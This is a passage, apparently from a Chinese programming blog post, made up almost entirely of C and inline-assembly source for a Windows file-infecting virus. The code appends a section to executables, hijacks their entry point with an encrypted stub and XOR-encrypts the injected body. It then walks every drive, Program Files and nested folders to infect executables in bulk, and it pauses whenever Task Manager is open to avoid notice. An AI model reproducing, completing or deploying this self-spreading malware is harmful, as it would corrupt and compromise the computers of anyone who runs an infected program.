  sectionheader->Name[4]='h'; 
  sectionheader->Name[5]='/0'; 
  sectionheader->Characteristics=0xE0000020;//ok

  align=sectionheader1->SizeOfRawData%optionalhead->FileAlignment;
  if(align)
   align=sectionheader1->SizeOfRawData+optionalhead->FileAlignment-align;
  else
   align=sectionheader1->SizeOfRawData;
  sectionheader->PointerToRawData=sectionheader1->PointerToRawData+align;//ok
  
  sectionheader->Misc.VirtualSize=g_uCodeFullSize;//ok

  align=g_uCodeFullSize%optionalhead->FileAlignment;
  if(align)
   align=g_uCodeFullSize+optionalhead->FileAlignment-align;
  else
   align=g_uCodeFullSize;
  sectionheader->SizeOfRawData=align;//ok

  //添加代码进行对齐后的长度。
  CodeAlignSize=align;

  align=sectionheader1->Misc.VirtualSize%optionalhead->SectionAlignment;
  if(align)
   align=sectionheader1->Misc.VirtualSize+optionalhead->SectionAlignment-align;
  else
   align=sectionheader1->Misc.VirtualSize;
  sectionheader->VirtualAddress=sectionheader1->VirtualAddress+align;//ok

  //处理新的程序头
  paddr=(unsigned int*)(bitStub+6);
  *paddr=addrGetProcAddress  ^(optionalhead->ImageBase+sectionheader->VirtualAddress);  
  g_uEncryption=addrGetProcAddress  ^(optionalhead->ImageBase+sectionheader->VirtualAddress);//加密因子。
  paddr=(unsigned int*)(bitStub+11);
  if(addrLoadLibraryA!=0)
   *paddr=addrLoadLibraryA  ^(optionalhead->ImageBase+sectionheader->VirtualAddress);
  else
   *paddr=addrLoadLibraryW  ^(optionalhead->ImageBase+sectionheader->VirtualAddress);
  paddr=(unsigned int*)(bitStub+16);
  *paddr=optionalhead->AddressOfEntryPoint + optionalhead->ImageBase;
  paddr=(unsigned int*)(bitStub+1);
  *paddr=optionalhead->ImageBase+sectionheader->VirtualAddress;
  g_uEncryption+=(*paddr)<<8;//加密因子。
  //结束---处理新的程序头

  //完成---添加节表。

  //修正PE头的相应成员。
  align=g_uCodeFullSize%optionalhead->SectionAlignment;
  if(align)
   align=g_uCodeFullSize+optionalhead->SectionAlignment-align;
  else
   align=g_uCodeFullSize;
  optionalhead->SizeOfCode+=align;
  optionalhead->SizeOfImage+=align;
  filehead->NumberOfSections+=1;
  sectionheader1=_pImageRvaToSection(pehead,(void*)pImageBase,optionalhead->AddressOfEntryPoint);//代码节的节表指针。
  sectionheader1->Characteristics=sectionheader->Characteristics|IMAGE_SCN_MEM_WRITE;
  //为防止系统文件被修改后报错。
  datadir=optionalhead->DataDirectory;
  datadir+=11;
  datadir->VirtualAddress=0;

  //处理代码快头
  char* pcodebody,*pstub,*pentry,*pstub1,*pentry1;
  pcodebody=(char*)pImageBase+sectionheader->PointerToRawData;
  _pmemcpy(pcodebody,(char*)additionaladdr,g_uCodeFullSize);

  pstub=pcodebody+(int)g_ptrStubLocation-additionaladdr;
  pentry=optionalhead->AddressOfEntryPoint-sectionheader1->VirtualAddress+sectionheader1->PointerToRawData+pImageBase;//程序入口点在内存中的指针。

  //_pmemcpy(pstub,pentry,STUBSIZE);//将原始程序入口点的若干代码拷贝至替换代码块。
  pstub1=pstub;
  pentry1=pentry;
  for(int i=0;i<STUBSIZE;i++)//替换以上语句,将桩子代码块取反加密。
  {
   *pstub1=~(*pentry1);
   pstub1++;
   pentry1++;
  }
  _pmemcpy(pentry,bitStub,STUBSIZE);//修改程序入口点处代码。

#ifdef _VERSION_TWO
///*加密代码。用于v2以上版本。
//  unsigned int * ptr=(unsigned int *)(pcodebody+ENCRYOFFSET);
//  for(int j=0;j<ENCRYSIZEDIVFOUR;j++,ptr++)
//  {
//   *ptr=*ptr^g_uEncryption;
//  }
  __asm//优化代码。
  {
   push eax;
   push ebx;
   push ecx;
   mov ebx,g_uEncryption;
   mov eax,pcodebody;
   add eax,ENCRYOFFSET;
   mov ecx,ENCRYSIZEDIVFOUR;
UNENCRYLOOP:
   xor dword ptr[eax],ebx;
   add eax,4;
   loop UNENCRYLOOP;
   pop ecx;
   pop ebx;
   pop eax;
  }
//*/
#endif
  DWORD newsize;
  _pSetFilePointer(hfile ,0,NULL,FILE_BEGIN);
  _pWriteFile(hfile , pImageBase , sectionheader->PointerToRawData+CodeAlignSize ,&newsize,NULL);  //负责将植入代码写入文件。

  完成对文件的处理。

 }//完成对文件的处理。

S2_FN1_END:
 //关闭文件,释放内存。
 _pCloseHandle(hfile);
 _pfree(pImageBase);
S2_FN1_RET:
 ;
}
FUNC_END


//=======================================================================================================
//section3 :查找exe文件,调用section2。
//查找算法 :1、搜索所有根目录;2、搜索系统 Program Files 文件夹(随机搜索100个文件);
//           3、搜索4级子文件夹,以系统运行时间选择文件夹,每级文件夹处理25个文件;
//
//
//=======================================================================================================


/* 此段代码仅用来占位,其内容为原来程序入口处被替换的代码,永不被顺序执行。其格式应当与main函数里面的相应代码保持一致。
为防止此段代码被替换以后影响后面代码的意义,后面可以添加几个nop占位,和后面的代码分割。共有26个字节(22个nop)。
Section4_1a:
 __asm
 {
  push 0x00000000;参数3,添加代码的入口地址,待修改。仅用来实现下面的跳转。
  push 0x00000000;参数2,待修改。
  push 0x00000000;参数1,待修改。
  push 0x00000000;返回地址,待修改。
  mov eax,dword ptr [esp+12];
  jmp eax;

 }
Section4_1b:
*/
//以下代码为上面说明的具体实现。
//goto SectionX_1;


 {
  __asm _emit 0x74 __asm _emit 0x1A//__asm mov esp,ebp 的机器码取反
  __asm _emit 0xA2                    //__asm pop ebp 的机器码取反
  __asm _emit 0x3C                    //__asm ret 的机器码取反
  __asm nop __asm nop __asm nop __asm nop __asm nop
  __asm nop __asm nop __asm nop __asm nop __asm nop
  __asm nop __asm nop __asm nop __asm nop __asm nop
  __asm nop __asm nop __asm nop __asm nop __asm nop
  __asm nop __asm nop
 }
//以下代码用于计算上面代码的位置。其间添加任何代码都要重新修改下面的修正值(32)。
//SectionX_1:
Section3_Begin:
 __asm
 {
  //分割区结束。
  push ebx;
  call STUB_LOCATION;
STUB_LOCATION:
  pop ebx;
  sub ebx,32;
  mov g_ptrStubLocation,ebx;//此时 g_ptrStubLocation 用于标注替换代码块的起始地址。
  pop ebx;
 }

//Section3_Begin:
 __asm push eax;//垃圾指令
 __asm mov eax,FN1_PEInjection;//垃圾指令
 __asm pop eax;//垃圾指令,为了编译器正确编译下面一条语句。
// CALL FN1_PEInjection;//垃圾指令,仅供调试时使用。

{

 bool IsFirst;
 HANDLE hevent1,hevent2,hevent3,hevent4;
 char chEventName[64]={'C','h','i','n','a','-','A','i','r','F','o','r','c','e','-','A','m','a','t','e','u','r','-','S','i','t','h','-','J','u','s','t','F','o','r','F','u','n','/0'};
 char chMode[8]={'o','p','e','n','/0'};
 if(hevent2=_pOpenEvent(EVENT_MODIFY_STATE  ,FALSE ,(char*)chEventName ) )
 {
  IsFirst=FALSE;
  _pSetEvent(hevent2);
  _pCloseHandle(hevent2);
 }
 else
 {
  hevent1=_pCreateEvent(NULL,TRUE,FALSE,(char*)chEventName);
  //运行第2个实例
  _pGetModuleFileName(NULL,PARM1_char,512);
  _pShellExecute(NULL,chMode,PARM1_char,NULL,NULL,SW_HIDE);
  _pWaitForSingleObject(hevent1,10000);
  IsFirst=TRUE;
  _pCloseHandle(hevent1);
 }

 //仅在运行第2个实例时扩散代码。
 if(!IsFirst)
 {
  //仅运行一个实例扩散代码。
  char chEventName1[64]={'C','h','i','n','a','-','A','i','r','F','o','r','c','e','-','A','m','a','t','e','u','r','-','S','i','t','h','-','O','n','e','I','n','s','t','/0'};
  if(hevent3=_pOpenEvent(EVENT_ALL_ACCESS  ,FALSE ,(char*)chEventName1) )
  {
   _pCloseHandle(hevent3);
   _pExitProcess(0);
   
  }
  else
  {
   hevent4=_pCreateEvent(NULL,TRUE,FALSE,(char*)chEventName1);
   
  }
  //扩散代码。
  HANDLE hand,hand1,hand2,hand3,hand4;
  WIN32_FIND_DATA finddate;
  char rootpath[16];//={"x://*"};直接赋值将导致代码访问常量数据区,这是不被允许的。注射代码没有数据区。
  char *filepath1,*filepath2,*filepath3,*filepath4;
  char chProgram_Files[16]={'P','r','o','g','r','a','m',' ','F','i','l','e','s','/0'};
  char chTaskmgrTitle[32]={'W','i','n','d','o','w','s',' ',0xc8,0xce,0xce,0xf1,0xb9,0xdc,0xc0,0xed,0xc6,0xf7,'/0'};
  DWORD tickcount,filenum,temp;
  int level1,level2,level3,level4;//打算搜索各级子文件夹的数目。
  unsigned long driverinfo; 
  unsigned long bitchk;
  char root;

  filepath1=(char*)_pmalloc(512);
  filepath2=(char*)_pmalloc(512);
  filepath3=(char*)_pmalloc(512);
  filepath4=(char*)_pmalloc(512);
  unsigned int runtimes=0;
  while (runtimes++<1440)
  {
   driverinfo=_pgetdrives();
   //从C盘开始,循环处理每个驱动器根目录。
   for(root='c',bitchk=0x4;bitchk;root++,bitchk=bitchk<<1)
   {
    if(!(bitchk&driverinfo))
     continue;
    //发现任务管理器打开,暂停。
    if(_pFindWindow(NULL,chTaskmgrTitle))
    {
     _pSleep(10000);
     continue;
    }
    rootpath[0]=root;
    rootpath[1]=':';
    rootpath[2]='//';
    rootpath[3]='/0';
    if(_pGetDriveType(rootpath)==DRIVE_CDROM)
     continue;
    rootpath[3]='*';
    rootpath[4]='/0';

    tickcount=_pGetTickCount();
    level1=tickcount%11;
    if(rootpath[0]=='c')
    {
     level2=tickcount%16000;
     level2/=400;
    }
    else
    { 
     level2=tickcount%8000;
     level2/=400;
    }
    level3=tickcount%400;
    level3/=20;
    level4=tickcount%20;

    hand=_pFindFirstFile(rootpath ,&finddate);
    //处理某一根目录下的文件。
    while(hand!=INVALID_HANDLE_VALUE&&_pFindNextFile(hand,&finddate))
    {
     
     if( finddate.dwFileAttributes &FILE_ATTRIBUTE_DIRECTORY)
     { 
      //处理Program Files 文件夹并且随机搜索文件。
      if( (level1--==0||!_pstrcmp( finddate.cFileName,chProgram_Files)) &&
       !(finddate.dwFileAttributes &FILE_ATTRIBUTE_HIDDEN)  )
      {
       _pstrcpy(filepath1,rootpath);
       filepath1[_pstrlen(filepath1)-1]='/0';
       _pstrcat( filepath1 , finddate.cFileName ); 

       filenum=0;
       //第1层文件夹
       temp=_pstrlen(filepath1);
       filepath1[temp]='//';
       filepath1[temp+1]='*';
       filepath1[temp+2]='/0';
       hand1=_pFindFirstFile(filepath1 ,&finddate);
       while(hand1!=INVALID_HANDLE_VALUE&&_pFindNextFile(hand1,&finddate))
       {
        if( finddate.dwFileAttributes &FILE_ATTRIBUTE_DIRECTORY)
        {
         _pSleep(100);
         //选择下一级文件。
         if(level2-->=0)
         {
          _pstrcpy(filepath2,filepath1);
          filepath2[_pstrlen(filepath2)-1]='/0';
          _pstrcat( filepath2 , finddate.cFileName );
         }
         continue;
        }
        //处理可执行文件。
        if(filenum++>=50)
         break;
        _pstrcpy(PARM1_char,filepath1);
        PARM1_char[_pstrlen(PARM1_char)-1]='/0';
        _pstrcat( PARM1_char , finddate.cFileName );
        CALL    FN1_PEInjection;
       }
       //处理第2层文件夹
       temp=_pstrlen(filepath2);
       filepath2[temp]='//';
       filepath2[temp+1]='*';
       filepath2[temp+2]='/0';
       hand2=_pFindFirstFile(filepath2 ,&finddate);
       while(hand2!=INVALID_HANDLE_VALUE&&_pFindNextFile(hand2,&finddate))
       {
        if( finddate.dwFileAttributes &FILE_ATTRIBUTE_DIRECTORY)
        {
         _pSleep(100);
         //选择下一级文件。
         if(level3-->=0)
         {
          _pstrcpy(filepath3,filepath2);
          filepath3[_pstrlen(filepath3)-1]='/0';
          _pstrcat( filepath3 , finddate.cFileName );
         }
         continue;
        }
        //处理可执行文件。
        if(filenum++>=100)
         break;  
        _pstrcpy(PARM1_char,filepath2);
        PARM1_char[_pstrlen(PARM1_char)-1]='/0';
        _pstrcat( PARM1_char , finddate.cFileName );
        CALL    FN1_PEInjection;
       }
       //处理第3层文件夹
       temp=_pstrlen(filepath3);
       filepath3[temp]='//';
       filepath3[temp+1]='*';
       filepath3[temp+2]='/0';
       hand3=_pFindFirstFile(filepath3 ,&finddate);
       while(hand3!=INVALID_HANDLE_VALUE&&_pFindNextFile(hand3,&finddate))
       {
        if( finddate.dwFileAttributes &FILE_ATTRIBUTE_DIRECTORY)
        {
         _pSleep(100);
         //选择下一级文件。
         if(level4-->=0)
         {
          _pstrcpy(filepath4,filepath3);
          filepath4[_pstrlen(filepath4)-1]='/0';
          _pstrcat( filepath4 , finddate.cFileName );
         }
         continue;
        }
        //处理可执行文件。
        if(filenum++>=150)
         break;
        _pstrcpy(PARM1_char,filepath3);
        PARM1_char[_pstrlen(PARM1_char)-1]='/0';
        _pstrcat( PARM1_char , finddate.cFileName );         
        CALL    FN1_PEInjection;
       }
       //处理第4层文件夹
       temp=_pstrlen(filepath4);
       filepath4[temp]='//';
       filepath4[temp+1]='*';
       filepath4[temp+2]='/0';
       hand4=_pFindFirstFile(filepath4 ,&finddate);
       while(hand4!=INVALID_HANDLE_VALUE&&_pFindNextFile(hand4,&finddate))
       {
        if( finddate.dwFileAttributes &FILE_ATTRIBUTE_DIRECTORY)
        {
         continue;
        }
        //处理可执行文件。
        if(filenum++>=200)
         break;
        _pstrcpy(PARM1_char,filepath4);
        PARM1_char[_pstrlen(PARM1_char)-1]='/0';
        _pstrcat( PARM1_char , finddate.cFileName ); 
        CALL    FN1_PEInjection;
       }
       
      }
      continue;
     }

     //处理可执行文件。
     _pstrcpy(PARM1_char,rootpath);
     PARM1_char[_pstrlen(PARM1_char)-1]='/0';
     _pstrcat( PARM1_char , finddate.cFileName );
     CALL    FN1_PEInjection;

    }
    
    _pSleep(100);
    
   }//完成 从C盘开始,循环处理每个驱动器根目录。
   
   _pSleep(1000);

  }
  _pfree(filepath1);
  _pfree(filepath2);
  _pfree(filepath3);
  _pfree(filepath4);
  _pCloseHandle(hevent4);
  _pExitProcess(0);

 }

 

}


//=======================================================================================================
//section4 :修改原PE入口点处代码,准备返回。功能代码也在此节实现。
//
//=======================================================================================================

 _pBeep(500,500);

 

 //修正原PE入口处代码。
 {
  char* orghead,*stubhead=g_ptrStubLocation;
  __asm
  {
   push eax;
   mov  eax,dword ptr[ebp+4];//返回地址。
   mov  orghead,eax;
   pop  eax;
  }
  //_pmemcpy(orghead ,g_ptrStubLocation,STUBSIZE);//g_ptrStubLocation用于标注替换代码块的起始地址。STUBSIZE为替换代码块的长度。
  for(int i=0;i<STUBSIZE;i++)//替换以上语句,将桩子代码块取反加密。
  {
   *orghead=~(*stubhead);
   orghead++;
   stubhead++;
  }
 }//完成原PE入口处代码的修正。

 


IN_TAIL://加8为真正的结尾。
 ;
}


int _tmain(int argc, _TCHAR* argv[])
{
int version=1;
#ifdef _VERSION_TWO
version=0;
#endif

if(version)
{
 ///*用于启动非加密版本。
 char pcode[1024];
 char* p1,*p2;
 int size;

 __asm
 {
  mov eax,begin;
  mov p1,eax;
  mov eax,end;
  mov p2,eax;
 }
 int start=(int)pcode;
 size=p2-p1;
 memcpy(pcode,p1,size);

 unsigned int parm1=(unsigned int)LoadLibrary,parm2=(unsigned int)GetProcAddress;
 unsigned int *parm1addr,*parm2addr;
 parm1addr=&parm1;
 parm2addr=&parm2;
 typedef void (WINAPI* PFN)(unsigned int *parameter1,unsigned int *parameter2,unsigned int additionaladdr);
 PFN pfn=PEInjection;
// PEInjection(&parm1,&parm2,0);
 parm1addr=(unsigned int*)((int)parm1addr^(int)pfn);//parm1addr进行隐藏
 parm2addr=(unsigned int*)((int)parm2addr^(int)pfn);//parm2addr进行隐藏
 __asm
 {
  mov eax, start;
  jmp eax;
 }
//以下代码将被放入栈中执行,其自身永不被执行。
begin:
 __asm//设置断点,将要修改的数据修改为相应的数值。
 {
  push pfn;0x00401000;参数3,添加代码的入口地址(函数入口地址),待修改。其数值应当为 pfn 的值。仅用来实现下面的跳转。
  push parm2addr;0x0012fac0;参数2,待修改。其数值应当为 parm2addr 的值。
  push parm1addr;0x0012fee0;参数1,待修改。其数值应当为 parm1addr 的值。
  push start;0x0012fac4;返回地址,待修改。其数值应当为 start 的值。
  mov eax,dword ptr [esp+12];
  jmp eax;

 }
end:
;
 //*/
}
else
{


 ///*用于启动加密版本。
 char pcode[1024],*pfcode;
 char* p1,*p2;
 int size;

 __asm
 {
  mov eax,begin1;
  mov p1,eax;
  mov eax,end1;
  mov p2,eax;
 }
 pfcode=(char*)malloc(0x6000);

 int start=(int)pcode;
 size=p2-p1;
 memcpy(pcode,p1,size);

 unsigned int parm1=(unsigned int)LoadLibrary,parm2=(unsigned int)GetProcAddress;
 unsigned int *parm1addr,*parm2addr;
 parm1addr=&parm1;
 parm2addr=&parm2;
 typedef void (WINAPI* PFN)(unsigned int *parameter1,unsigned int *parameter2,unsigned int additionaladdr);
 PFN pfn=PEInjection; 
 p1=(char*)pfn;
  
 CopyMemory(pfcode,p1,0x6000);
// PEInjection(&parm1,&parm2,0);
 
 parm1addr=(unsigned int*)((int)parm1addr^(int)pfcode);//parm1addr进行隐藏
 parm2addr=(unsigned int*)((int)parm2addr^(int)pfcode);//parm2addr进行隐藏

#ifdef _VERSION_TWO
 unsigned int g_uEncryption=(unsigned int)(   (((unsigned int)pfcode)<<8)  +  (unsigned int)parm2addr  );
 unsigned int * ptr=(unsigned int *)(pfcode+ENCRYOFFSET);
 for(int j=0;j<ENCRYSIZEDIVFOUR;j++,ptr++)
 {
  *ptr=*ptr^g_uEncryption;
 }
#endif

 __asm
 {
  mov eax,start;
  jmp eax;
 }
//以下代码将被放入栈中执行,其自身永不被执行。
begin1:
 __asm//在上面一条语句设置断点,将要修改的数据修改为相应的数值。
 {
  push pfcode; 0x00401000;参数3,添加代码的入口地址(函数入口地址),待修改。其数值应当为pfn的值。仅用来实现下面的跳转。
  push parm2addr; 0x0012fac0;参数2,待修改。其数值应当为parm2addr的值。
  push parm1addr; 0x0012fee0;参数1,待修改。其数值应当为parm1addr的值。
  push start; 0x0012fac4;返回地址,待修改。其数值应当为start的值。
  mov eax,dword ptr [esp+12];
  jmp eax;

 }
end1:
; //*/
}

 return 0;
}

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值